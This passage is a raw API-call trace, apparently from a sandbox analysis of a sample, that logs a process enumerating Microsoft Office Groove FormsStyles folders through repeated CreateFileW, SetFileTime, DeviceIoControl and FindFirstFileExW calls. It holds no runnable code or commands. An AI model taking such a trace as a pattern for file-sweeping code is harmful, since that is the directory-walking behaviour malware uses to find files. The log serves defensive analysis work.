lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eb4f8, nOutBufferSize=0x4000, lpBytesReturned=0x15fe40c, lpOverlapped=0x0 | out: lpOutBuffer=0x9eb4f8, lpBytesReturned=0x15fe40c, lpOverlapped=0x0) returned 0 [0248.063] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SoftBlue\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe1bc) returned 0x4fd660 [0248.063] GetLastError () returned 0x12 [0248.063] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SoftBlue\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe1bc) returned 0x4fd6e0 [0248.063] FindClose (in: hFindFile=0x4fd660 | out: hFindFile=0x4fd660) returned 1 [0248.063] GetLastError () returned 0x12 [0248.064] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SpringGreen" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\springgreen"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0248.064] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15fe3b4, lpLastWriteTime=0x15fe3b4) returned 0 [0248.064] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eb4f8, nOutBufferSize=0x4000, lpBytesReturned=0x15fe40c, lpOverlapped=0x0 | out: lpOutBuffer=0x9eb4f8, lpBytesReturned=0x15fe40c, lpOverlapped=0x0) returned 0 [0248.064] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SpringGreen\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe1bc) returned 0x4fd6e0 [0248.064] GetLastError () returned 0x12 [0248.064] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SpringGreen\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe1bc) returned 0x4fd660 [0248.065] FindClose (in: hFindFile=0x4fd6e0 | out: hFindFile=0x4fd6e0) returned 1 [0248.065] GetLastError () returned 0x12 [0248.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\STS2" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\sts2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c0 [0248.066] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x15fe3b4, lpLastWriteTime=0x15fe3b4) returned 0 [0248.066] DeviceIoControl (in: hDevice=0x1c0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eb4f8, nOutBufferSize=0x4000, lpBytesReturned=0x15fe40c, lpOverlapped=0x0 | out: lpOutBuffer=0x9eb4f8, lpBytesReturned=0x15fe40c, lpOverlapped=0x0) returned 0 [0248.066] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\STS2\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe1bc) returned 0x4fd660 [0248.066] GetLastError () returned 0x12 [0248.066] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\STS2\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe1bc) returned 0x4fd6e0 [0248.066] FindClose (in: hFindFile=0x4fd660 | out: hFindFile=0x4fd660) returned 1 [0248.066] GetLastError () returned 0x12 [0248.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Swirl" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\swirl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0248.067] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15fe3b4, lpLastWriteTime=0x15fe3b4) returned 0 [0248.067] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e6df0, nOutBufferSize=0x4000, lpBytesReturned=0x15fe40c, lpOverlapped=0x0 | out: lpOutBuffer=0x9e6df0, lpBytesReturned=0x15fe40c, lpOverlapped=0x0) returned 0 [0248.067] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Swirl\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe1bc) returned 0x4fd6e0 [0248.067] GetLastError () returned 0x12 [0248.067] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Swirl\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe1bc) returned 0x4fd660 [0248.067] FindClose (in: hFindFile=0x4fd6e0 | out: hFindFile=0x4fd6e0) returned 1 [0248.067] GetLastError () returned 0x12 [0248.067] GetLastError () returned 0x12 [0248.067] GetLastError () returned 0x12 [0248.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0248.068] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0248.068] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e6df0, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x9e6df0, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0248.068] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd5a0 [0248.072] GetLastError () returned 0x12 [0248.072] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd6a0 [0248.072] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0248.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0248.074] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15fe66c, lpLastWriteTime=0x15fe66c) returned 0 [0248.074] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e6df0, nOutBufferSize=0x4000, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x9e6df0, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0) returned 0 [0248.074] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe474) returned 0x4fd5a0 [0248.076] GetLastError () returned 0x12 [0248.076] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe474) returned 0x4fd660 [0248.076] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0248.077] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Americana" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\americana"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0248.077] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15fe3b4, lpLastWriteTime=0x15fe3b4) returned 0 [0248.077] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e6df0, nOutBufferSize=0x4000, lpBytesReturned=0x15fe40c, lpOverlapped=0x0 | out: lpOutBuffer=0x9e6df0, lpBytesReturned=0x15fe40c, lpOverlapped=0x0) returned 0 [0248.077] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Americana\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe1bc) returned 0x4fd5a0 [0248.077] GetLastError () returned 0x12 [0248.077] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Americana\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe1bc) returned 0x4fd6e0 [0248.077] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0248.077] GetLastError () returned 0x12 [0248.078] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\babyblue"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0248.078] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15fe3b4, lpLastWriteTime=0x15fe3b4) returned 0 [0248.078] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e6df0, nOutBufferSize=0x4000, lpBytesReturned=0x15fe40c, lpOverlapped=0x0 | out: lpOutBuffer=0x9e6df0, lpBytesReturned=0x15fe40c, lpOverlapped=0x0) returned 0 [0248.078] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe1bc) returned 0x4fd6e0 [0248.078] GetLastError () returned 0x12 [0248.078] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe1bc) returned 0x4fd5a0 [0248.078] FindClose (in: hFindFile=0x4fd6e0 | out: hFindFile=0x4fd6e0) returned 1 [0248.078] GetLastError () returned 0x12 [0248.079] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Biscay" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\biscay"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0248.079] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15fe3b4, lpLastWriteTime=0x15fe3b4) returned 0 [0248.079] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15fe40c, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15fe40c, lpOverlapped=0x0) returned 0 [0248.080] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Biscay\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe1bc) returned 0x4fd5a0 [0248.080] GetLastError () returned 0x12 [0248.080] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Biscay\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe1bc) returned 0x4fd6e0 [0248.080] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0248.080] GetLastError () returned 0x12 [0248.081] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\brightorange"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0248.081] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15fe3b4, lpLastWriteTime=0x15fe3b4) returned 0 [0248.081] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15fe40c, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15fe40c, lpOverlapped=0x0) returned 0 [0248.081] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe1bc) returned 0x4fd6e0 [0248.081] GetLastError () returned 0x12 [0248.081] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe1bc) returned 0x4fd5a0 [0248.082] FindClose (in: hFindFile=0x4fd6e0 | out: hFindFile=0x4fd6e0) returned 1 [0248.082] GetLastError () returned 0x12 [0248.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightYellow" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\brightyellow"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0248.083] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15fe3b4, lpLastWriteTime=0x15fe3b4) returned 0 [0248.083] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15fe40c, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15fe40c, lpOverlapped=0x0) returned 0 [0248.083] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightYellow\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe1bc) returned 0x4fd5a0 [0248.083] GetLastError () returned 0x12 [0248.083] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightYellow\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe1bc) returned 0x4fd6e0 [0248.083] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0248.083] GetLastError () returned 0x12 [0248.085] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Desert" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\desert"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0248.085] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15fe3b4, lpLastWriteTime=0x15fe3b4) returned 0 [0248.085] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15fe40c, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15fe40c, lpOverlapped=0x0) returned 0 [0248.085] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Desert\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe1bc) returned 0x4fd6e0 [0248.085] GetLastError () returned 0x12 [0248.085] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Desert\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe1bc) returned 0x4fd5a0 [0248.085] FindClose (in: hFindFile=0x4fd6e0 | out: hFindFile=0x4fd6e0) returned 1 [0248.085] GetLastError () returned 0x12 [0248.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\GrayCheck" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\graycheck"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0248.086] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15fe3b4, lpLastWriteTime=0x15fe3b4) returned 0 [0248.087] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15fe40c, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15fe40c, lpOverlapped=0x0) returned 0 [0248.087] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\GrayCheck\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe1bc) returned 0x4fd5a0 [0248.087] GetLastError () returned 0x12 [0248.087] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\GrayCheck\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe1bc) returned 0x4fd6e0 [0248.087] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0248.087] GetLastError () returned 0x12 [0248.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Lime" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\lime"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0248.088] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15fe3b4, lpLastWriteTime=0x15fe3b4) returned 0 [0248.088] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9cc120, nOutBufferSize=0x4000, lpBytesReturned=0x15fe40c, lpOverlapped=0x0 | out: lpOutBuffer=0x9cc120, lpBytesReturned=0x15fe40c, lpOverlapped=0x0) returned 0 [0248.088] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Lime\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe1bc) returned 0x4fd6e0 [0248.088] GetLastError () returned 0x12 [0248.088] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Lime\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe1bc) returned 0x4fd5a0 [0248.089] FindClose (in: hFindFile=0x4fd6e0 | out: hFindFile=0x4fd6e0) returned 1 [0248.089] GetLastError () returned 0x12 [0248.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Oasis" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\oasis"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0248.090] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15fe3b4, lpLastWriteTime=0x15fe3b4) returned 0 [0248.090] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9cc120, nOutBufferSize=0x4000, lpBytesReturned=0x15fe40c, lpOverlapped=0x0 | out: lpOutBuffer=0x9cc120, lpBytesReturned=0x15fe40c, lpOverlapped=0x0) returned 0 [0248.090] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Oasis\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe1bc) returned 0x4fd5a0 [0248.090] GetLastError () returned 0x12 [0248.090] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Oasis\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe1bc) returned 0x4fd6e0 [0248.090] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0248.090] GetLastError () returned 0x12 [0248.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Slate" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\slate"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0248.092] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15fe3b4, lpLastWriteTime=0x15fe3b4) returned 0 [0248.092] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9cc120, nOutBufferSize=0x4000, lpBytesReturned=0x15fe40c, lpOverlapped=0x0 | out: lpOutBuffer=0x9cc120, lpBytesReturned=0x15fe40c, lpOverlapped=0x0) returned 0 [0248.092] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Slate\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe1bc) returned 0x4fd6e0 [0248.092] GetLastError () returned 0x12 [0248.092] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Slate\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe1bc) returned 0x4fd5a0 [0248.092] FindClose (in: 